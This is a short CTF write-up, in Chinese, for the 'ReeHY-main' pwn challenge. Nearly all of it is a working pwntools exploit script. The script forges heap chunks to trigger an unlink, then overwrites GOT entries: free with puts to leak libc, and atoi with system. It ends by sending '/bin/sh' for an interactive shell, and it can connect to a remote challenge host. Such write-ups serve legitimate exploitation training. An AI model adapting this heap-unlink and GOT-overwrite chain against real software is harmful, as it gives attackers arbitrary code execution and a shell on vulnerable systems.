万能钥匙ctf--4-ReeHY-main调试记录--unlink

  1 #!/usr/bin/env python
  2 # coding=utf-8
  3 
  4 from pwn import *
  5 DEBUG = True
  6 
  7 if DEBUG:
  8     io = process(‘./pwn3‘)
  9     libc = ELF(‘./ctf.so.6‘)
 10     context.log_level = ‘debug‘
 11 else:
 12     io = remote(‘172.168.17.2‘,10001)
 13 
 14 def welcome():
 15     io.recvuntil(‘$ ‘)
 16     io.sendline(‘frdqy‘)
 17 
 18 def add(size,index,content):
 19     io.recv()
 20     io.sendline(‘1‘)
 21     io.recv(1024)
 22     io.sendline(str(size))
 23     io.recv(1024)
 24     io.sendline(str(index))
 25     io.recv(1024)
 26     io.sendline(str(content))
 27 
 28 def free(index):
 29     io.recv()
 30     io.sendline(‘2‘)
 31     io.recv(1024)
 32     io.sendline(str(index))
 33 
 34 def edit(index,content):
 35     io.recv()
 36     io.sendline(‘3‘)
 37     io.recv(1024)
 38     io.sendline(str(index))
 39     io.recv(1024)
 40     io.send(content)
 41 
 42 system_off = libc.symbols[‘system‘]
 43 puts_off = libc.symbols[‘puts‘]
 44 g_point = 0x6020e0      #保存申请堆块的结构体
 45 fd = g_point-0x18       #unlink绕过检查
 46 bk = g_point-0x10       #unlink绕过检查
 47 free_got = 0x602018
 48 puts_got = 0x602020
 49 atoi_got = 0x602058
 50 puts_plt = 0x4006d0
 51 
 52 def exp():
 53     welcome()
 54     add(0x80,0,‘a‘*0x80)
 55     add(0x80,1,‘b‘*0x80)
 56     
 57     #gdb.attach(io)
 58     free(-2)            #释放后在申请会返回到保存堆块大小的数组内存上
 59     
 60     payload = ‘‘
 61     payload += p32(0x80*2)
 62     payload += p32(0x80)
 63     payload += p32(0)
 64     payload += p32(0)
 65     add(20,2,payload)   #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值
 66 
 67     #溢出块0
 68     payload = ‘‘
 69     payload += p64(0)   #chunk0 pre_size
 70     payload += p64(0x81)#chunk0 size
 71     payload += p64(fd)  #chunk0 fd
 72     payload += p64(bk)  #chunk0 bk
 73     payload += ‘a‘*(0x80-32)
 74     payload += p64(len(payload))    #chunk1 pre_size
 75     payload += p64(0x90)    #chunk1 size
 76     edit(0,payload)
 77 
 78     #unlink
 79     free(1)
 80     
 81     #再编辑chunk0,实际编辑的就是g_point - 0x18的值，可以覆盖到保存堆指针的结构体
 82     payload = ‘‘
 83     payload += p64(0)
 84     payload += p64(0)
 85     payload += p64(0)
 86     payload += p64(free_got)    #第一项修改为free_got
 87     payload += p64(1)
 88     payload += p64(puts_got)    #第二项修改为puts_got
 89     payload += p64(1)
 90     payload += p64(atoi_got)    #第三项修改为atoi_got
 91     payload += p64(1)
 92     edit(0,payload)
 93 
 94     #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值
 95     #修改free_got的值为puts从而泄漏计算出libc加载地址
 96     edit(0,p64(puts_plt))
 97    
 98     #打印puts_got的值
 99     free(1)
100     puts_addr =u64(io.recv()[0:6]+‘\x00\x00‘)
101     system_addr = puts_addr - puts_off + system_off
102     
103     #将atoi改为system
104     #edit(2,p64(system_addr))
105     io.sendline(‘3‘)
106     io.recv()
107     io.sendline(‘2‘)
108     io.recv()
109     io.sendline(p64(system_addr))
110  
111     #输入/bin/sh
112     io.sendline(‘/bin/sh‘)
113     io.interactive()
114     
115 exp()